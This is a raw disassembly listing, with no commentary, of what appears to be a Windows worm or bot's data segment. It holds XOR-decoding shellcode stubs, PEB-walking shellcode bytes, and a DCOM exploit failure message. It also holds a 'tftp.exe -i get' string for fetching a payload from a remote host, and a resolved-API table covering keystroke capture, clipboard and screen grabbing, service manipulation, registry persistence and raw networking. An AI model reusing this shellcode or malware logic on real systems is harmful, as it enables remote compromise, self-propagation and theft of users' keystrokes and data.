db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aEnableDcomFail db ' Enable DCOM failed.',0
align 10h
word_437BC0 dw 59h ; DATA XREF: sub_4149C4+38r
align 4
loc_437BC4: ; DATA XREF: sub_414E72+C4o
jmp short loc_437BC8
; ---------------------------------------------------------------------------
loc_437BC6: ; CODE XREF: seg002:loc_437BC8p
jmp short loc_437BCD
; ---------------------------------------------------------------------------
loc_437BC8: ; CODE XREF: seg002:loc_437BC4j
call loc_437BC6
loc_437BCD: ; CODE XREF: seg002:loc_437BC6j
pop ebx
xor ecx, ecx
; ---------------------------------------------------------------------------
db 66h, 0B9h
word_437BD2 dw 0FFFFh ; DATA XREF: sub_414E72+CCw
db 80h, 73h, 0Eh
byte_437BD7 db 0FFh ; DATA XREF: sub_414E72+D3w
dd 0F9E243h
; ---------------------------------------------------------------------------
loc_437BDC: ; DATA XREF: sub_414E72+A2o
jmp short loc_437BE0
; ---------------------------------------------------------------------------
loc_437BDE: ; CODE XREF: seg002:loc_437BE0p
jmp short loc_437BE5
; ---------------------------------------------------------------------------
loc_437BE0: ; CODE XREF: seg002:loc_437BDCj
call loc_437BDE
loc_437BE5: ; CODE XREF: seg002:loc_437BDEj
pop ebx
xor ecx, ecx
; ---------------------------------------------------------------------------
db 0B1h
byte_437BE9 db 0FFh ; DATA XREF: sub_414E72+AAw
dw 7380h
db 0Ch
byte_437BED db 0FFh ; DATA XREF: sub_414E72+B0w
dw 0E243h
dd 0F9h
dword_437BF4 dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h
; DATA XREF: sub_414CFB+57o
dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
dword_437C58 dd 12h aTftp_exeIGet db 'tftp.exe -i get ',0 ; DATA XREF: sub_414CFB+79o
aJ_0 db 'j',0
db 0E8h
dword_437C71 dd 17h ; ---------------------------------------------------------------------------
jnz short near ptr byte_437C78
retn
; ---------------------------------------------------------------------------
byte_437C78 db 0E8h ; CODE XREF: seg002:00437C75j
dword_437C79 dd 1 byte_437C7D db 0, 6Ah, 0 ; DATA XREF: sub_414CFB+C2o
dd 7E8h
db 0, 0Fh, 84h
dword_437C87 dd 0FFFFFFEDh ; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
pop eax
pop ebx
pop ebp
push eax
sub esp, 54h
xor eax, eax
mov edi, esp
lea ecx, [eax+40h]
mov edx, edi
rep stosb
mov al, 44h
stosd
push edi
push edx
push ecx
push ecx
push 28h
push 1
push ecx
push ecx
push ebp
push ebx
call esi
add esp, 54h
test eax, eax
retn
; ---------------------------------------------------------------------------
align 4
aThreadList db '-[Thread List]-',0
aSNoSThreadFoun db '%s: No %s thread found.',0 ; DATA XREF: sub_415207+51o
aSSStopped_DThr db '%s: %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_415207+35o
dword_437D08 dd 0BB0959h align 10h
dword_437D10 dd 173Fh dd 9875h, 9873h
off_437D1C dd offset sub_415F1B ; DATA XREF: sub_4177DAr
dd offset nullsub_2
dd offset nullsub_2
dword_437D28 dd 1B3Fh dword_437D2C dd 19930520h, 4 dup(0) ; sub_41641E+2o
off_437D40 dd offset sub_417818 ; DATA XREF: sub_417BCE+1Cr
dword_437D44 dd 2 ; sub_41CEF9+46r ...
off_437D48 dd offset aNull_0 ; DATA XREF: sub_417D2C:loc_418090r
; sub_417D2C+457r
; "(null)"
off_437D4C dd offset aNull ; DATA XREF: sub_417D2C+259r
; "(null)"
off_437D50 dd offset word_437D5A ; DATA XREF: sub_4159B4+23r
; sub_4159B4:loc_415A15r ...
dd offset word_437D5A
db 2 dup(0)
word_437D5A dw 20h ; DATA XREF: sub_41E69D+18r
; seg002:off_437D50o ...
unicode 0, < ((((( H>
dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_437F5C dd 1 ; sub_4159B4:loc_415A00r ...
byte_437F60 db 2Eh ; DATA XREF: sub_419EF8:loc_419F38r
; sub_419F52+4r ...
align 4
dd 1, 10h
dword_437F6C dd 3F8h ; sub_4174BF+4Dr ...
dword_437F70 dd 14h off_437F74 dd offset aExp ; DATA XREF: sub_419C41:loc_419C5Er
; "exp"
dd 1Dh, 4217A4h, 1Ah, 4217A0h, 1Bh, 421798h, 1Fh, 421790h
dd 13h, 421788h, 21h, 421780h, 0Eh, 421778h, 0Dh, 421770h
dd 0Fh, 421768h, 10h, 421760h, 5, 421758h, 1Eh, 421754h
dd 12h, 421750h, 20h, 42174Ch, 0Ch, 421744h, 0Bh, 42173Ch
dd 15h, 421734h, 1Ch, 42172Ch, 19h, 421724h, 11h, 42171Ch
dd 18h, 421714h, 16h, 42170Ch, 17h, 421704h, 22h, 421700h
dd 23h, 4216FCh, 24h, 4216F8h
dbl_438048 dq 1.797693134862316e308 ; DATA XREF: sub_41997C+B7r
; sub_41997C:loc_419A63r ...
dd 0
dd 0FFF80000h
dbl_438058 dq 1.797693134862316e308 ; DATA XREF: sub_41997C+92r
; sub_41997C:loc_419A3Br ...
dd 0
dd 100000h, 0
dd 80000000h
tbyte_438070 dt 2.3562723457267347066e313 ; DATA XREF: sub_419E29+Dr
; sub_419E29+1Fr
align 4
tbyte_43807C dt 1.9149954921904370718e-1233 ; DATA XREF: sub_419E29+31r
align 4
off_438088 dd offset sub_41A2BD ; DATA XREF: sub_415F33+Fw
; sub_417D2C+3AAr
off_43808C dd offset sub_419F52 ; DATA XREF: sub_415F33+5w
; sub_417D2C+3E2r
off_438090 dd offset sub_419FB8 ; DATA XREF: sub_415F33+14w
; sub_41AD1D+430r
off_438094 dd offset sub_419EF8 ; DATA XREF: sub_415F33+1Ew
; sub_417D2C+3CBr
off_438098 dd offset sub_419FA0 ; DATA XREF: sub_415F33+28w
off_43809C dd offset sub_41A2BD ; DATA XREF: sub_415F33+32w
dd offset sub_41DEE2
align 10h
dd offset sub_41AB7C
off_4380B4 dd offset sub_41AB7C ; DATA XREF: sub_41ABD2+29r
dword_4380B8 dd 0D2D0920h, 5Dhdword_4380C0 dd 5Dh, 0 byte_4380C8 db 1 ; DATA XREF: seg000:0041C081r
db 2, 4, 8
align 10h
dword_4380D0 dd 3A4h dword_4380D4 dd 82798260h, 21h, 0dword_4380E0 dd 0DFA6h align 8
dd 0A5A1h, 0
dd 0FCE09F81h, 0
dd 0FC807E40h, 0
dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
dd 0FE81h, 0
dd 0FE40h, 0
dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
dd 0FE81h, 0
dd 0FE41h, 0
dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
dd 0FE81h, 0
dd 0FEA17E40h, 0
dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_4381C0 dd 1 ; sub_41C5B7+Co
dword_4381C4 dd 16h dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2
dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h
dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h
dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_438328 dd 0C0000005h ; sub_41C75F+Ar ...
dword_43832C dd 0Bh dd 0
dd 0C000001Dh, 4, 0
dd 0C0000096h, 4, 0
db 8Dh, 0
dw 0C000h
dd 8, 0
dd 0C000008Eh, 8, 0
dd 0C000008Fh, 8, 0
db 90h
db 2 dup(0), 0C0h
dd 8, 0
dd 0C0000091h, 8, 0
dd 0C0000092h, 8, 0
dd 0C0000093h, 8, 0
dword_4383A0 dd 3 ; sub_41F277+C8r
dword_4383A4 dd 7 ; sub_41F277+CDr
dword_4383A8 dd 0Ah ; sub_41F3A4+4r
dword_4383AC dd 8Ch ; seg000:0041C6ADw ...
dword_4383B0 dd 0FFFFFFFFh, 0A00h ; sub_41B890:loc_41B911o
dword_4383B8 dd 2 ; sub_41CEF9+28r
off_4383BC dd offset aR6002FloatingP ; DATA XREF: sub_41CEF9+FCr
; sub_41CEF9+12Dr
; "R6002\r\n- floating point not loaded\r\n"
dd 8, 421AC4h, 9, 421A98h, 0Ah, 421A74h, 10h, 421A48h
dd 11h, 421A18h, 12h, 4219F4h, 13h, 4219C8h, 18h, 421990h
dd 19h, 421968h, 1Ah, 421930h, 1Bh, 4218F8h, 1Ch, 4218D0h
dd 78h, 4218C0h, 79h, 4218B0h, 7Ah, 4218A0h, 0FCh, 4269C4h
dd 0FFh, 421890h
off_438448 dd offset dword_469780 ; DATA XREF: sub_41CEF9+1Bo
; sub_41D0B6+55o
align 10h
dd offset dword_469780
dd 101h
dword_438458 dd 0FFFFFFFFh, 0 dd 1000h, 0
dword_438468 dd 3 dup(0) ; sub_418796+12o
dd 2, 0FFFFFFFFh, 3 dup(0)
dword_438488 dd 3 dup(0) ; sub_418796:loc_4187B4o
dd 2, 0FFFFFFFFh, 7 dup(0)
dword_4384B8 dd 84h dup(0) dword_4386C8 dd 2694h ; sub_419631+46r ...
align 10h
dword_4386D0 dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFhdword_4386E8 dd 80h, 0FFFFFF81h, 18h, 8, 20h, 7Fhdword_438700 dd 7080h ; sub_41E142+5Ew ...
dword_438704 dd 1 ; sub_41E142+8Bw ...
dword_438708 dd 0FFFFF1F0h ; sub_41E142+94w ...
dword_43870C dd 545350h, 0Fh dup(0)dword_43874C dd 544450h, 0Fh dup(0)off_43878C dd offset dword_43870C ; DATA XREF: sub_41E142+BAr
; sub_41E142+D9r ...
off_438790 dd offset dword_43874C ; DATA XREF: sub_41E142+F4r
; sub_41E142+11Br ...
align 8
dword_438798 dd 0FFFFFFFFh ; sub_41E3A0+1Er ...
dword_43879C dd 0 ; sub_41E54C+BFw
dword_4387A0 dd 0 ; sub_41E54C+E0w
align 8
dword_4387A8 dd 0FFFFFFFFh ; sub_41E3A0+26r ...
dword_4387AC dd 0 ; sub_41E54C+EAw ...
dword_4387B0 dd 0 ; sub_41E54C+23r ...
dword_4387B4 dd 0FFFFFFFFh dd 1Eh, 3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h, 0F3h, 111h, 130h
dd 14Eh
dword_4387E4 dd 16Dh ; sub_41E54C+2Er ...
dword_4387E8 dd 0FFFFFFFFh dd 1Eh, 3Ah, 59h, 77h, 96h, 0B4h, 0D3h, 0F2h, 110h, 12Fh
dd 14Dh, 16Ch, 0
dword_438820 dd 2 dup(0) dd 4002A000h, 2 dup(0)
dd 4005C800h, 2 dup(0)
dd 4008FA00h, 2 dup(0)
dd 400C9C40h, 2 dup(0)
; ---------------------------------------------------------------------------
push eax
retn
; ---------------------------------------------------------------------------
dw 400Fh
dd 2 dup(0)
dd 4012F424h, 0
dd 80000000h, 40169896h, 0
dd 20000000h, 4019BEBCh, 0
dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh, 40D3C278h
dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h, 0A0AEA60Eh
dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h, 5D25D88Bh
dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
dd 52028A20h, 7525C460h, 0
dword_438980 dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
; DATA XREF: sub_41F6FC+1Bo
dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h, 652CD3C3h
dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h, 3FEEA7C5h
dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h, 94D5E57Ah
dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh, 0E15B4C2Fh
dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h, 313BBABCh
dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h, 8D2FEED7h
dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh, 3B03A686h
dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h, 0EE32DB23h
dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h, 11B268E2h
dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh, 0BF3C9157h
dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h, 9FDE2DE4h
dd 4C8D2CEh, 0AD8A6DDh, 0
off_438AE0 dd offset off_421CB4 ; DATA XREF: seg001:off_421CD8o
; seg001:00421E04o ...
align 8
a_?avexception@ db '.?AVexception@@',0
off_438AF8 dd offset off_421CB4 ; DATA XREF: seg001:off_421CF0o
; seg001:00421D84o ...
align 10h
a_?avlogic_erro db '.?AVlogic_error@std@@',0
align 4
off_438B18 dd offset off_421CB4 ; DATA XREF: seg001:off_421D08o
; seg001:00421D4Co ...
align 10h
a_?avlength_err db '.?AVlength_error@std@@',0
align 4
off_438B38 dd offset off_421CB4 ; DATA XREF: seg001:off_421D90o
; seg001:00421DD4o ...
align 10h
a_?avout_of_ran db '.?AVout_of_range@std@@',0
align 4
off_438B58 dd offset off_421CB4 ; DATA XREF: seg001:off_421E10o
; seg001:00421E4Co
align 10h
a_?avtype_info@ db '.?AVtype_info@@',0
dd offset sub_41DEE2
dd 109h dup(0)
dword_438F98 dd 0 byte_438F9C db 0 ; DATA XREF: sub_402FDD+36r
; sub_4030C0+37r ...
align 10h
dword_438FA0 dd 7A5h ; sub_4036EB+30r ...
dd 2 dup(0)
dword_438FAC dd 2 dup(0) dword_438FB4 dd 0 ; seg000:004129ACo ...
dword_438FB8 dd 0 ; sub_4059F0+51r ...
dword_438FBC dd 0 ; seg000:0040494Cr ...
dd 2 dup(0)
dword_438FC8 dd 0 ; sub_407636+92w ...
dword_438FCC dd 0 ; sub_407983+D9w ...
dd 256h dup(0)
dword_439928 dd 7 dup(0) ; sub_40776F+138o ...
dword_439944 dd 83h dup(0) dword_439B50 dd 0 dword_439B54 dd 0 dd 24h dup(0)
dword_439BE8 dd 0 ; seg000:00407588o
dword_439BEC dd 0A2h dup(0) dword_439E74 dd 41h dup(0) dword_439F78 dd 0 ; seg000:0040753Br
align 10h
dword_439F80 dd 0 ; seg000:0040759Ar
dword_439F84 dd 0 dword_439F88 dd 0 dword_439F8C dd 0 dd 0
dword_439F94 dd 0 dd 0AAh dup(0)
dword_43A240 dd 77F16E6Fh ; resolved to->GDI32.DeleteDC ; sub_4089D6+4CDr
dword_43A244 dd 7C864230h ; resolved to->KERNEL32.Module32First ; sub_413DB8+F5r
dword_43A248 dd 42C5AE03h ; resolved to->WININET.InternetGetConnectedStateExA ; sub_4089D6+862r ...
dword_43A24C dd 5B894364h ; sub_4089D6+A18r ...
dword_43A250 dd 5B86FEB8h ; sub_4089D6+9E8r ...
dword_43A254 dd 77F15B80h ; resolved to->GDI32.SelectObject ; sub_4089D6+4BDr
dword_43A258 dd 7E41C505h ; resolved to->USER32.GetKeyState ; seg000:00402304r ...
dword_43A25C dd 5B894160h ; sub_4089D6+A10r ...
dword_43A260 dd 77DEB88Ch ; resolved to->ADVAPI32.OpenServiceA ; sub_4089D6+3A9r ...
dword_43A264 dd 77DFD4C9h ; resolved to->ADVAPI32.GetUserNameA ; sub_40AAB5+11Er
dword_43A268 dd 77DF3238h ; resolved to->ADVAPI32.StartServiceA ; sub_4089D6+3B1r ...
dword_43A26C dd 77DFCF32h ; resolved to->ADVAPI32.IsValidSecurityDescriptor ; sub_4133A6+ADr
dword_43A270 dd 71AB4544h ; resolved to->WS2_32.__WSAFDIsSet ; sub_4084B7+7Dr ...
dword_43A274 dd 7C83039Bh ; resolved to->KERNEL32.GetDiskFreeSpaceExA ; sub_4089D6+D2r ...
dword_43A278 dd 5B86FDE8h ; sub_4089D6+9DBr ...
dword_43A27C dd 77DE5E4Dh ; resolved to->ADVAPI32.CloseServiceHandle ; sub_4089D6+3C9r ...
dword_43A280 dd 42C41384h ; resolved to->WININET.InternetCrackUrlA ; sub_4089D6+88Er ...
dword_43A284 dd 77DD7883h ; resolved to->ADVAPI32.RegQueryValueExA ; sub_4089D6+2A5w ...
dword_43A288 dd 42C30BFAh ; resolved to->WININET.InternetOpenUrlA ; sub_4089D6+886r ...
dword_43A28C dd 7C82FA46h ; resolved to->KERNEL32.QueryPerformanceFrequencydword_43A290 dd 42C2ABF4h ; resolved to->WININET.InternetReadFile ; sub_4089D6+896r ...
dword_43A294 dd 71AC0979h ; resolved to->WS2_32.WSAAsyncSelect ; sub_4089D6+52Fw ...
dword_43A298 dd 7C863F58h ; resolved to->KERNEL32.Process32Next ; sub_4089D6+CAr ...
dword_43A29C dd 76D64B79h ; resolved to->IPHLPAPI.IcmpSendEcho ; seg000:0040A315r
dword_43A2A0 dd 76F3798Ah ; resolved to->DNSAPI.DnsFlushResolverCache ; sub_4089D6+A6Dr ...
dword_43A2A4 dd 7C80A427h ; resolved to->KERNEL32.QueryPerformanceCounter ; sub_4089D6+F2r
dword_43A2A8 dd 77F1AC3Dh ; resolved to->GDI32.GetDIBColorTable ; sub_4089D6+4B5r
dword_43A2AC dd 71AB2BC0h ; resolved to->WS2_32.ntohl ; sub_4089D6+5D8w ...
dword_43A2B0 dd 5B8A3009h ; sub_4089D6+A08r
dword_43A2B4 dd 71AB2B66h ; resolved to->WS2_32.ntohs ; sub_4089D6+5CBw ...
dword_43A2B8 dd 71B25099h ; sub_4089D6+B21w
dword_43A2BC dd 42C367F6h ; resolved to->WININET.InternetGetConnectedState ; sub_4089D6+84Fr
dword_43A2C0 dd 7E45A045h ; resolved to->USER32.ExitWindowsEx ; sub_409DD7+15r
dword_43A2C4 dd 5B868E65h ; sub_4089D6+9F0r ...
dword_43A2C8 dd 77DEB635h ; resolved to->ADVAPI32.ControlService ; sub_4089D6+3B9r ...
dword_43A2CC dd 77E37311h ; resolved to->ADVAPI32.DeleteService ; sub_4089D6+3C1r ...
dword_43A2D0 dd 73B81E3Bh ; sub_4089D6+C5Dr
dword_43A2D4 dd 71AC0B50h ; resolved to->WS2_32.getpeernamedword_43A2D8 dd 71AB4428h ; resolved to->WS2_32.WSACleanup ; seg000:loc_401B70r ...
dword_43A2DC dd 77F16C0Ah ; resolved to->GDI32.DeleteObjectdword_43A2E0 dd 5B894541h ; sub_4089D6+A20r ...
dword_43A2E4 dd 77DDEDE5h ; resolved to->ADVAPI32.RegDeleteValueA ; sub_4089D6+2DEr ...
dword_43A2E8 dd 7C82C2D3h ; resolved to->KERNEL32.GetLogicalDriveStringsA ; sub_4089D6+DAr ...
dword_43A2EC dd 7CA41110h ; resolved to->SHELL32.ShellExecuteA ; sub_4089D6+B75r ...
dword_43A2F0 dd 71AB664Dh ; resolved to->WS2_32.WSAStartup ; seg000:004018F9r ...
dword_43A2F4 dd 42C2CD78h ; resolved to->WININET.HttpSendRequestA ; sub_4089D6+872r ...
dword_43A2F8 dd 5B897BE9h ; sub_4089D6+9F8r
dword_43A2FC dd 74344AE7h ; sub_404F08+70r ...
dword_43A300 dd 7E41BE4Bh ; resolved to->USER32.GetForegroundWindow ; seg000:0040225Er ...
dword_43A304 dd 76D64D5Eh ; resolved to->IPHLPAPI.IcmpCreateFile ; sub_4089D6+910r ...
dword_43A308 dd 74327E4Dh dword_43A30C dd 71AB94DCh ; resolved to->WS2_32.WSAGetLastError ; seg000:00401483r ...
dword_43A310 dd 42C2C8A1h ; resolved to->WININET.InternetOpenA ; sub_4089D6+855r
dword_43A314 dd 7E43212Bh ; resolved to->USER32.GetWindowTextA ; seg000:00402273r ...
dword_43A318 dd 7E41B933h ; resolved to->USER32.IsWindow ; sub_4089D6+1C2r
dword_43A31C dd 71AB951Eh ; resolved to->WS2_32.getsockname ; sub_4089D6+786r ...
dword_43A320 dd 71AB406Ah ; resolved to->WS2_32.connect ; sub_4036EB+5Er ...
dword_43A324 dd 71AB4489h ; resolved to->WS2_32.WSAIoctl ; sub_4089D6+549w ...
dword_43A328 dd 0CC0004h ; sub_4089D6:loc_4092B1w ...
dword_43A32C dd 77DDEAF4h ; resolved to->ADVAPI32.RegCreateKeyExA ; sub_4089D6+2C6r ...
dword_43A330 dd 71ABE479h ; resolved to->WS2_32.gethostbyaddr ; sub_4089D6+681w ...
dword_43A334 dd 77DFD11Bh ; resolved to->ADVAPI32.LookupPrivilegeValueA ; sub_4089D6+323r ...
dword_43A338 dd 77DEAF3Fh ; resolved to->ADVAPI32.EnumServicesStatusA ; sub_4089D6+3D1r ...
dword_43A33C dd 743452A3h ; sub_404F08+1AAr ...
dword_43A340 dd 42C24399h ; resolved to->WININET.HttpOpenRequestA ; sub_4089D6+86Ar ...
dword_43A344 dd 7E41F3B3h ; resolved to->USER32.GetAsyncKeyState ; sub_4089D6+206w ...
dword_43A348 dd 7E430237h ; resolved to->USER32.OpenClipboard ; sub_4089D6+1D2r ...
dword_43A34C dd 42C249F2h ; resolved to->WININET.InternetConnectA ; sub_4089D6+87Ar ...
dword_43A350 dd 71AB2D0Fh ; resolved to->WS2_32.recvfrom ; sub_4089D6+756r
dword_43A354 dd 77DD6BF0h ; resolved to->ADVAPI32.RegCloseKey ; sub_4089D6+2BFw ...
dword_43A358 dd 71AB3EA1h ; resolved to->WS2_32.setsockopt ; seg000:004014F1r ...
dword_43A35C dd 77DD7753h ; resolved to->ADVAPI32.OpenProcessToken ; sub_4089D6+316r ...
dword_43A360 dd 71AB2DC0h ; resolved to->WS2_32.select ; sub_4076D2+82r ...
dword_43A364 dd 77F1B221h ; resolved to->GDI32.CreateDCA ; sub_4089D6+490r
dword_43A368 dd 7E430D7Ah ; resolved to->USER32.GetClipboardData ; sub_4089D6+1DAr ...
dword_43A36C dd 77DEADA7h ; resolved to->ADVAPI32.OpenSCManagerA ; sub_4089D6+39Cr ...
dword_43A370 dd 76F37ABDh ; resolved to->DNSAPI.DnsFlushResolverCacheEntry_Adword_43A374 dd 71AB2BC0h ; resolved to->WS2_32.ntohl ; seg000:004012ABr ...
dword_43A378 dd 71AB2B66h ; resolved to->WS2_32.ntohs ; seg000:0040114Fr ...
dword_43A37C dd 7C863DE5h ; resolved to->KERNEL32.Process32First ; sub_4089D6+C2r ...
dword_43A380 dd 77F15A7Ah ; resolved to->GDI32.GetDeviceCaps ; sub_4089D6+4ADr
dword_43A384 dd 7E42DE87h ; resolved to->USER32.FindWindowA ; sub_4089D6+1BAr ...
dword_43A388 dd 5B8A5199h ; sub_413C8F+72r
dword_43A38C dd 71AB50C8h ; resolved to->WS2_32.gethostname ; sub_4089D6+78Er
dword_43A390 dd 71AB615Ah ; resolved to->WS2_32.recv ; sub_4033CB+23Br ...
dword_43A394 dd 74343318h ; sub_404F08+229r ...
dword_43A398 dd 7C864B0Fh ; resolved to->KERNEL32.CreateToolhelp32Snapshot ; sub_4089D6+BAr ...
dword_43A39C dd 77DDEBE7h ; resolved to->ADVAPI32.RegSetValueExA ; sub_4089D6+2CEr ...
dword_43A3A0 dd 71AB88D3h ; resolved to->WS2_32.listen ; sub_407BE2+9Cr ...
dword_43A3A4 dd 71AB3E00h ; resolved to->WS2_32.bind ; sub_405B07+89r ...
dword_43A3A8 dd 73B81B0Fh dword_43A3AC dd 42C1DAC1h ; resolved to->WININET.InternetCloseHandle ; sub_40AE2F+205r ...
dword_43A3B0 dd 0 dword_43A3B4 dd 743527D4h ; sub_4089D6+BB8w ...
dword_43A3B8 dd 71AB2BF4h ; resolved to->WS2_32.inet_addr ; sub_401BD6+1DEr ...
dword_43A3BC dd 77F19219h ; resolved to->GDI32.CreateDIBSection ; sub_4089D6+49Dr
dword_43A3C0 dd 77F16F89h ; resolved to->GDI32.BitBlt ; sub_4089D6+4C5r
dword_43A3C4 dd 77F15FF0h ; resolved to->GDI32.CreateCompatibleDC ; sub_4089D6+4A5r
dword_43A3C8 dd 71AB428Ah ; resolved to->WS2_32.send ; sub_4033CB+249r ...
dword_43A3CC dd 7E430225h ; resolved to->USER32.CloseClipboard ; sub_4089D6+1E2r ...
dword_43A3D0 dd 5B86AA41h ; sub_4089D6+A28r ...
dword_43A3D4 dd 7E42F383h ; resolved to->USER32.SendMessageA ; sub_4089D6+1ADr
dword_43A3D8 dd 7C8214E3h ; resolved to->KERNEL32.GetDriveTypeA ; sub_4089D6+E2r ...
dword_43A3DC dd 71AB2C69h ; resolved to->WS2_32.sendto ; sub_401BD6+422r ...
dword_43A3E0 dd 71B2547Ah ; sub_4089D6+B30r
dword_43A3E4 dd 77DFC534h ; resolved to->ADVAPI32.AdjustTokenPrivileges ; sub_413D4D+55r
dword_43A3E8 dd 77DD761Bh ; resolved to->ADVAPI32.RegOpenKeyExA ; sub_4089D6+27Ew ...
dword_43A3EC dd 7CA235CBh ; resolved to->SHELL32.SHChangeNotifydword_43A3F0 dd 76D6A195h ; resolved to->IPHLPAPI.DeleteIpNetEntry ; sub_40A077+CEr
dword_43A3F4 dd 76D69962h ; resolved to->IPHLPAPI.GetIpNetTable ; sub_4089D6+AB7r ...
dword_43A3F8 dd 71AB3B91h ; resolved to->WS2_32.socket ; sub_401BD6+55r ...
dword_43A3FC dd 71AB4FD4h ; resolved to->WS2_32.gethostbyname ; sub_4089D6+674w ...
dword_43A400 dd 7432FF6Bh ; sub_4089D6+BC5w ...
dword_43A404 dd 71AB3F41h ; resolved to->WS2_32.inet_ntoa ; sub_4071E3+1Fr ...
dword_43A408 dd 5B867750h ; sub_4089D6+A00r ...
dword_43A40C dd 71AC1028h ; resolved to->WS2_32.accept ; sub_407BE2+B3r ...
dword_43A410 dd 71AB9639h ; resolved to->WS2_32.closesocket ; seg000:00401B69r ...
dword_43A414 dd 71AB4519h ; resolved to->WS2_32.ioctlsocket ; sub_405B07+39Fr ...
dword_43A418 dd 71B2578Ch ; sub_402FDD+C8r ...
dword_43A41C dd 71AB8769h ; resolved to->WS2_32.WSASocketA ; seg000:00401919r ...
dword_43A420 dd 71B2517Fh ; sub_4089D6+B1Br
dword_43A424 dd 7C80AC0Fh ; resolved to->KERNEL32.SetErrorMode ; sub_4089D6+ADr ...
dword_43A428 dd 7E41DAEAh ; resolved to->USER32.DestroyWindow ; sub_4089D6+1CAr
align 10h
dword_43A430 dd 76D64D33h ; resolved to->IPHLPAPI.IcmpCloseHandle ; sub_4089D6+91Dr ...
dword_43A434 dd 7C8217EAh ; resolved to->KERNEL32.SearchPathA ; sub_4089D6+EAr ...
dword_43A438 dd 0 ; sub_4089D6+12Bw ...
dword_43A43C dd 0 ; sub_409663+1Cr
dword_43A440 dd 0 ; sub_4089D6:loc_408C2Bw ...
dword_43A444 dd 0 ; sub_409663+50r
dword_43A448 dd 0 ; sub_4089D6:loc_408D05w ...
dword_43A44C dd 0 ; sub_409663+84r
dword_43A450 dd 0 ; sub_409663:loc_409713r
dword_43A454 dd 0 ; sub_409663+B8r
dword_43A458 dd 0 ; sub_409663:loc_409747r
dword_43A45C dd 0 ; sub_409663+ECr
dword_43A460 dd 0 ; sub_4089D6+8D1w ...
dword_43A464 dd 0 ; sub_409663+120r
dword_43A468 dd 0 ; sub_409663:loc_4097AFr ...
dword_43A46C dd 0 ; sub_409663+154r
dword_43A470 dd 0 ; sub_409663:loc_4097E3r ...
dword_43A474 dd 0 ; sub_409663+188r
